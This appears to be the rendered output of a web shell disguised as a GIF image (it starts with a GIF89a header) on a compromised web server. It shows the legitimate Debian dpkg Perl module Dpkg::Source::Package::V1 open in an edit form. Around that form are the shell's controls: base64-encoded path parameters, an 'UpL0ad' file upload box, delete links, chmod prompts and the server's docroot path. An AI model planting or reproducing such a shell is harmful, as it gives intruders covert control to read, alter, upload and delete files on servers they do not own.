GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>V1.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=VjEucG0%3D"><input name="f" value="V1.pm"><textarea name="t"># Copyright  2008-2009 Raphal Hertzog &lt;hertzog@debian.org&gt;
# Copyright  2008, 2012-2015 Guillem Jover &lt;guillem@debian.org&gt;
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;https://www.gnu.org/licenses/&gt;.

=encoding utf8

=head1 NAME

Dpkg::Source::Package::V1 - class for source format 1.0

=head1 DESCRIPTION

This module provides a class to handle the source package format 1.0.

B&lt;Note&gt;: This is a private module, its API can change at any time.

=cut

package Dpkg::Source::Package::V1 0.01;

use strict;
use warnings;

use Errno qw(ENOENT);
use Cwd;
use File::Basename;
use File::Temp qw(tempfile);
use File::Spec;

use Dpkg ();
use Dpkg::Gettext;
use Dpkg::ErrorHandling;
use Dpkg::Compression;
use Dpkg::Source::Archive;
use Dpkg::Source::Patch;
use Dpkg::Exit qw(push_exit_handler pop_exit_handler);
use Dpkg::Source::Functions qw(erasedir);
use Dpkg::Source::Package::V3::Native;

use parent qw(Dpkg::Source::Package);

our $CURRENT_MINOR_VERSION = '0';

sub init_options {
    my $self = shift;

    # Don't call $self-&gt;SUPER::init_options() on purpose, V1.0 has no
    # ignore by default
    if ($self-&gt;{options}{diff_ignore_regex}) {
	$self-&gt;{options}{diff_ignore_regex} .= '|(?:^|/)debian/source/local-.*$';
    } else {
	$self-&gt;{options}{diff_ignore_regex} = '(?:^|/)debian/source/local-.*$';
    }
    $self-&gt;{options}{diff_ignore_regex} .= '|(?:^|/)debian/files(?:\.new)?$';
    push @{$self-&gt;{options}{tar_ignore}},
         'debian/source/local-options',
         'debian/source/local-patch-header',
         'debian/files',
         'debian/files.new';
    $self-&gt;{options}{sourcestyle} //= 'X';
    $self-&gt;{options}{skip_debianization} //= 0;
    $self-&gt;{options}{ignore_bad_version} //= 0;
    $self-&gt;{options}{abort_on_upstream_changes} //= 0;

    # Set default validation checks.
    $self-&gt;{options}{require_valid_signature} //= 0;
    $self-&gt;{options}{require_strong_checksums} //= 0;

    # V1.0 only supports gzip compression.
    $self-&gt;{options}{compression} //= 'gzip';
    $self-&gt;{options}{comp_level} //= compression_get_level('gzip');
    $self-&gt;{options}{comp_ext} //= compression_get_file_extension('gzip');
}

my @module_cmdline = (
    {
        name =&gt; '-sa',
        help =&gt; N_('auto select original source'),
        when =&gt; 'build',
    }, {
        name =&gt; '-sk',
        help =&gt; N_('use packed original source (unpack and keep)'),
        when =&gt; 'build',
    }, {
        name =&gt; '-sp',
        help =&gt; N_('use packed original source (unpack and remove)'),
        when =&gt; 'build',
    }, {
        name =&gt; '-su',
        help =&gt; N_('use unpacked original source (pack and keep)'),
        when =&gt; 'build',
    }, {
        name =&gt; '-sr',
        help =&gt; N_('use unpacked original source (pack and remove)'),
        when =&gt; 'build',
    }, {
        name =&gt; '-ss',
        help =&gt; N_('trust packed and unpacked original sources are same'),
        when =&gt; 'build',
    }, {
        name =&gt; '-sn',
        help =&gt; N_('there is no diff, do main tarfile only'),
        when =&gt; 'build',
    }, {
        name =&gt; '-sA, -sK, -sP, -sU, -sR',
        help =&gt; N_('like -sa, -sk, -sp, -su, -sr but may overwrite'),
        when =&gt; 'build',
    }, {
        name =&gt; '--abort-on-upstream-changes',
        help =&gt; N_('abort if generated diff has upstream files changes'),
        when =&gt; 'build',
    }, {
        name =&gt; '-sp',
        help =&gt; N_('leave original source packed in current directory'),
        when =&gt; 'extract',
    }, {
        name =&gt; '-su',
        help =&gt; N_('do not copy original source to current directory'),
        when =&gt; 'extract',
    }, {
        name =&gt; '-sn',
        help =&gt; N_('unpack original source tree too'),
        when =&gt; 'extract',
    }, {
        name =&gt; '--skip-debianization',
        help =&gt; N_('do not apply debian diff to upstream sources'),
        when =&gt; 'extract',
    },
);

sub describe_cmdline_options {
    return @module_cmdline;
}

sub parse_cmdline_option {
    my ($self, $opt) = @_;
    my $o = $self-&gt;{options};
    if ($opt =~ m/^-s([akpursnAKPUR])$/) {
        warning(g_('-s%s option overrides earlier -s%s option'), $1,
                $o-&gt;{sourcestyle}) if $o-&gt;{sourcestyle} ne 'X';
        $o-&gt;{sourcestyle} = $1;
        $o-&gt;{copy_orig_tarballs} = 0 if $1 eq 'n'; # Extract option -sn
        return 1;
    } elsif ($opt eq '--skip-debianization') {
        $o-&gt;{skip_debianization} = 1;
        return 1;
    } elsif ($opt eq '--ignore-bad-version') {
        $o-&gt;{ignore_bad_version} = 1;
        return 1;
    } elsif ($opt eq '--abort-on-upstream-changes') {
        $o-&gt;{abort_on_upstream_changes} = 1;
        return 1;
    }
    return 0;
}

sub do_extract {
    my ($self, $newdirectory) = @_;
    my $sourcestyle = $self-&gt;{options}{sourcestyle};
    my $fields = $self-&gt;{fields};

    $sourcestyle =~ y/X/p/;
    unless ($sourcestyle =~ m/[pun]/) {
	usageerr(g_('source handling style -s%s not allowed with -x'),
	         $sourcestyle);
    }

    my $basename = $self-&gt;get_basename();
    my $basenamerev = $self-&gt;get_basename(1);

    # V1.0 only supports gzip compression
    my ($tarfile, $difffile);
    my $tarsign;
    foreach my $file ($self-&gt;get_files()) {
	if ($file =~ /^(?:\Q$basename\E\.orig|\Q$basenamerev\E)\.tar\.gz$/) {
            error(g_('multiple tarfiles in v1.0 source package')) if $tarfile;
            $tarfile = $file;
        } elsif ($file =~ /^\Q$basename\E\.orig\.tar\.gz\.asc$/) {
            $tarsign = $file;
	} elsif ($file =~ /^\Q$basenamerev\E\.diff\.gz$/) {
	    $difffile = $file;
	} else {
	    error(g_('unrecognized file for a %s source package: %s'),
                  'v1.0', $file);
	}
    }

    error(g_('no tarfile in Files field')) unless $tarfile;
    my $native = $difffile ? 0 : 1;
    if ($native and ($tarfile =~ /\.orig\.tar\.gz$/)) {
        warning(g_('native package with .orig.tar'));
        $native = 0; # V3::Native doesn't handle orig.tar
    }

    if ($native) {
        Dpkg::Source::Package::V3::Native::do_extract($self, $newdirectory);
    } else {
        my $expectprefix = $newdirectory;
        $expectprefix .= '.orig';

        if ($self-&gt;{options}{no_overwrite_dir} and -e $newdirectory) {
            error(g_('unpack target exists: %s'), $newdirectory);
        } else {
            erasedir($newdirectory);
        }
        if (-e $expectprefix) {
            rename($expectprefix, &quot;$newdirectory.tmp-keep&quot;)
                or syserr(g_(&quot;unable to rename '%s' to '%s'&quot;), $expectprefix,
                          &quot;$newdirectory.tmp-keep&quot;);
        }

        info(g_('unpacking %s'), $tarfile);
        my $tar = Dpkg::Source::Archive-&gt;new(
            filename =&gt; File::Spec-&gt;catfile($self-&gt;{basedir}, $tarfile),
        );
        $tar-&gt;extract($expectprefix);

        if ($sourcestyle =~ /u/) {
            # -su: keep .orig directory unpacked
            if (-e &quot;$newdirectory.tmp-keep&quot;) {
                error(g_('unable to keep orig directory (already exists)'));
            }
            system('cp', '-ar', '--', $expectprefix, &quot;$newdirectory.tmp-keep&quot;);
            subprocerr(&quot;cp $expectprefix to $newdirectory.tmp-keep&quot;) if $?;
        }

	rename($expectprefix, $newdirectory)
	    or syserr(g_('failed to rename newly-extracted %s to %s'),
	              $expectprefix, $newdirectory);

	# rename the copied .orig directory
	if (-e &quot;$newdirectory.tmp-keep&quot;) {
	    rename(&quot;$newdirectory.tmp-keep&quot;, $expectprefix)
	        or syserr(g_('failed to rename saved %s to %s'),
	                  &quot;$newdirectory.tmp-keep&quot;, $expectprefix);
        }
    }

    if ($difffile and not $self-&gt;{options}{skip_debianization}) {
        my $patch = File::Spec-&gt;catfile($self-&gt;{basedir}, $difffile);
	info(g_('applying %s'), $difffile);
	my $patch_obj = Dpkg::Source::Patch-&gt;new(filename =&gt; $patch);
	my $analysis = $patch_obj-&gt;apply($newdirectory, force_timestamp =&gt; 1);
	my @files = grep { ! m{^\Q$newdirectory\E/debian/} }
		    sort keys %{$analysis-&gt;{filepatched}};
	info(g_('upstream files that have been modified: %s'),
	     &quot;\n &quot; . join(&quot;\n &quot;, @files)) if scalar @files;
    }
}

sub can_build {
    my ($self, $dir) = @_;

    # As long as we can use gzip, we can do it as we have
    # native packages as fallback
    return (0, g_('only supports gzip compression'))
        unless $self-&gt;{options}{compression} eq 'gzip';
    return 1;
}

sub do_build {
    my ($self, $dir) = @_;
    my $sourcestyle = $self-&gt;{options}{sourcestyle};
    my @argv = @{$self-&gt;{options}{ARGV}};
    my @tar_ignore = map { &quot;--exclude=$_&quot; } @{$self-&gt;{options}{tar_ignore}};
    my $diff_ignore_regex = $self-&gt;{options}{diff_ignore_regex};

    if (scalar(@argv) &gt; 1) {
        usageerr(g_('-b takes at most a directory and an orig source ' .
                    'argument (with v1.0 source package)'));
    }

    $sourcestyle =~ y/X/a/;
    unless ($sourcestyle =~ m/[akpursnAKPUR]/) {
        usageerr(g_('source handling style -s%s not allowed with -b'),
                 $sourcestyle);
    }

    my $sourcepackage = $self-&gt;{fields}{'Source'};
    my $basenamerev = $self-&gt;get_basename(1);
    my $basename = $self-&gt;get_basename();
    my $basedirname = $basename;
    $basedirname =~ s/_/-/;

    # Try to find a .orig tarball for the package
    my $origdir = &quot;$dir.orig&quot;;
    my $origtargz = $self-&gt;get_basename() . '.orig.tar.gz';
    if (-e $origtargz) {
        unless (-f $origtargz) {
            error(g_(&quot;packed orig '%s' exists but is not a plain file&quot;), $origtargz);
        }
    } else {
        $origtargz = undef;
    }

    if (@argv) {
	# We have a second-argument &lt;orig-dir&gt; or &lt;orig-targz&gt;, check what it
	# is to decide the mode to use
        my $origarg = shift(@argv);
        if (length($origarg)) {
            stat($origarg)
                or syserr(g_('cannot stat orig argument %s'), $origarg);
            if (-d _) {
                $origdir = File::Spec-&gt;catdir($origarg);

                $sourcestyle =~ y/aA/rR/;
                unless ($sourcestyle =~ m/[ursURS]/) {
                    error(g_('orig argument is unpacked but source handling ' .
                             'style -s%s calls for packed (.orig.tar.&lt;ext&gt;)'),
                          $sourcestyle);
                }
            } elsif (-f _) {
                $origtargz = $origarg;
                $sourcestyle =~ y/aA/pP/;
                unless ($sourcestyle =~ m/[kpsKPS]/) {
                    error(g_('orig argument is packed but source handling ' .
                             'style -s%s calls for unpacked (.orig/)'),
                          $sourcestyle);
                }
            } else {
                error(g_('orig argument %s is not a plain file or directory'),
                      $origarg);
            }
        } else {
            $sourcestyle =~ y/aA/nn/;
            unless ($sourcestyle =~ m/n/) {
                error(g_('orig argument is empty (means no orig, no diff) ' .
                         'but source handling style -s%s wants something'),
                      $sourcestyle);
            }
        }
    } elsif ($sourcestyle =~ m/[aA]/) {
	# We have no explicit &lt;orig-dir&gt; or &lt;orig-targz&gt;, try to use
	# a .orig tarball first, then a .orig directory and fall back to
	# creating a native .tar.gz
	if ($origtargz) {
	    $sourcestyle =~ y/aA/pP/; # .orig.tar.&lt;ext&gt;
        } elsif (stat($origdir)) {
            unless (-d _) {
                error(g_(&quot;unpacked orig '%s' exists but is not a directory&quot;),
                      $origdir);
            }
            $sourcestyle =~ y/aA/rR/; # .orig directory
        } elsif ($! != ENOENT) {
            syserr(g_(&quot;unable to stat putative unpacked orig '%s'&quot;), $origdir);
        } else {
            $sourcestyle =~ y/aA/nn/; # Native tar.gz
	}
    }

    my $v = Dpkg::Version-&gt;new($self-&gt;{fields}-&gt;{'Version'});
    if ($sourcestyle =~ m/[kpursKPUR]/) {
        error(g_('non-native package version does not contain a revision'))
            if $v-&gt;is_native();
    } else {
        # TODO: This will become fatal in the near future.
        warning(g_('native package version may not have a revision'))
            unless $v-&gt;is_native();
    }

    my ($dirname, $dirbase) = fileparse($dir);
    if ($dirname ne $basedirname) {
	warning(g_(&quot;source directory '%s' is not &lt;sourcepackage&gt;&quot; .
	           &quot;-&lt;upstreamversion&gt; '%s'&quot;), $dir, $basedirname);
    }

    my ($tarname, $tardirname, $tardirbase);
    my $tarsign;
    if ($sourcestyle ne 'n') {
	my ($origdirname, $origdirbase) = fileparse($origdir);

        if ($origdirname ne &quot;$basedirname.orig&quot;) {
            warning(g_('.orig directory name %s is not &lt;package&gt;' .
	               '-&lt;upstreamversion&gt; (wanted %s)'),
	            $origdirname, &quot;$basedirname.orig&quot;);
        }
        $tardirbase = $origdirbase;
        $tardirname = $origdirname;

	$tarname = $origtargz || &quot;$basename.orig.tar.gz&quot;;
	$tarsign = &quot;$tarname.asc&quot;;
	unless ($tarname =~ /\Q$basename\E\.orig\.tar\.gz/) {
	    warning(g_('.orig.tar name %s is not &lt;package&gt;_&lt;upstreamversion&gt;' .
	               '.orig.tar (wanted %s)'),
	            $tarname, &quot;$basename.orig.tar.gz&quot;);
	}
    }

    if ($sourcestyle eq 'n') {
        $self-&gt;{options}{ARGV} = []; # ensure we have no error
        Dpkg::Source::Package::V3::Native::do_build($self, $dir);
    } elsif ($sourcestyle =~ m/[urUR]/) {
        if (stat($tarname)) {
            unless ($sourcestyle =~ m/[UR]/) {
		error(g_(&quot;tarfile '%s' already exists, not overwriting, &quot; .
		         'giving up; use -sU or -sR to override'), $tarname);
            }
        } elsif ($! != ENOENT) {
	    syserr(g_(&quot;unable to check for existence of '%s'&quot;), $tarname);
        }

	info(g_('building %s in %s'),
	     $sourcepackage, $tarname);

	my ($ntfh, $newtar) = tempfile(&quot;$tarname.new.XXXXXX&quot;,
				       DIR =&gt; getcwd(), UNLINK =&gt; 0);
	my $tar = Dpkg::Source::Archive-&gt;new(filename =&gt; $newtar,
		    compression =&gt; compression_guess_from_filename($tarname),
		    compression_level =&gt; $self-&gt;{options}{comp_level});
	$tar-&gt;create(options =&gt; \@tar_ignore, chdir =&gt; $tardirbase);
	$tar-&gt;add_directory($tardirname);
	$tar-&gt;finish();
	rename($newtar, $tarname)
	    or syserr(g_(&quot;unable to rename '%s' (newly created) to '%s'&quot;),
	              $newtar, $tarname);
	chmod(0666 &amp;~ umask(), $tarname)
	    or syserr(g_(&quot;unable to change permission of '%s'&quot;), $tarname);
    } else {
	info(g_('building %s using existing %s'),
	     $sourcepackage, $tarname);
    }

    if ($tarname) {
        $self-&gt;add_file($tarname);
        if (-e &quot;$tarname.sig&quot; and not -e &quot;$tarname.asc&quot;) {
            $self-&gt;armor_original_tarball_signature(&quot;$tarname.sig&quot;, &quot;$tarname.asc&quot;);
        }
    }
    if ($tarsign and -e $tarsign) {
        $self-&gt;check_original_tarball_signature($dir, $tarsign);

        info(g_('building %s using existing %s'), $sourcepackage, $tarsign);
        $self-&gt;add_file($tarsign);
    } else {
        my $key = $self-&gt;get_upstream_signing_key($dir);
        if (-e $key) {
            warning(g_('upstream signing key but no upstream tarball signature'));
        }
    }

    if ($sourcestyle =~ m/[kpKP]/) {
        if (stat($origdir)) {
            unless ($sourcestyle =~ m/[KP]/) {
                error(g_(&quot;orig directory '%s' already exists, not overwriting, &quot;.
                         'giving up; use -sA, -sK or -sP to override'),
                      $origdir);
            }
            erasedir($origdir);
        } elsif ($! != ENOENT) {
            syserr(g_(&quot;unable to check for existence of orig directory '%s'&quot;),
                    $origdir);
        }

	my $tar = Dpkg::Source::Archive-&gt;new(filename =&gt; $origtargz);
	$tar-&gt;extract($origdir);
    }

    my $ur; # Unrepresentable changes
    if ($sourcestyle =~ m/[kpursKPUR]/) {
	my $diffname = &quot;$basenamerev.diff.gz&quot;;
	info(g_('building %s in %s'),
	     $sourcepackage, $diffname);
	my ($ndfh, $newdiffgz) = tempfile(&quot;$diffname.new.XXXXXX&quot;,
					DIR =&gt; getcwd(), UNLINK =&gt; 0);
        push_exit_handler(sub { unlink($newdiffgz) });
        my $diff = Dpkg::Source::Patch-&gt;new(filename =&gt; $newdiffgz,
                                            compression =&gt; 'gzip',
                                            compression_level =&gt; $self-&gt;{options}{comp_level});
        $diff-&gt;create();
        $diff-&gt;add_diff_directory($origdir, $dir,
                basedirname =&gt; $basedirname,
                diff_ignore_regex =&gt; $diff_ignore_regex,
                options =&gt; []); # Force empty set of options to drop the
                                # default -p option
        $diff-&gt;finish() || $ur++;
        pop_exit_handler();

	my $analysis = $diff-&gt;analyze($origdir);
	my @files = grep { ! m{^debian/} }
		    map { s{^[^/]+/+}{}r }
		    sort keys %{$analysis-&gt;{filepatched}};
	if (scalar @files) {
	    warning(g_('the diff modifies the following upstream files: %s'),
	            &quot;\n &quot; . join(&quot;\n &quot;, @files));
	    info(g_(&quot;use the '3.0 (quilt)' format to have separate and &quot; .
	            'documented changes to upstream files, see dpkg-source(1)'));
	    error(g_('aborting due to --abort-on-upstream-changes'))
		if $self-&gt;{options}{abort_on_upstream_changes};
	}

	rename($newdiffgz, $diffname)
	    or syserr(g_(&quot;unable to rename '%s' (newly created) to '%s'&quot;),
	              $newdiffgz, $diffname);
	chmod(0666 &amp;~ umask(), $diffname)
	    or syserr(g_(&quot;unable to change permission of '%s'&quot;), $diffname);

	$self-&gt;add_file($diffname);
    }

    if ($sourcestyle =~ m/[prPR]/) {
        erasedir($origdir);
    }

    if ($ur) {
        errormsg(g_('unrepresentable changes to source'));
        exit(1);
    }
}

=head1 CHANGES

=head2 Version 0.xx

This is a private module.

=cut

1;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/Dpkg/Source/Package<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&x=VjEucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=VjEucG0="/>V1.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=VjEucG0=&c=`+btoa(c):0" value="0644"></td><td>18220</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&x=VjIucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=VjIucG0="/>V2.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=VjIucG0=&c=`+btoa(c):0" value="0644"></td><td>27819</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdlL1Yz"/>V3</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NvdXJjZS9QYWNrYWdl&f=VjM=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>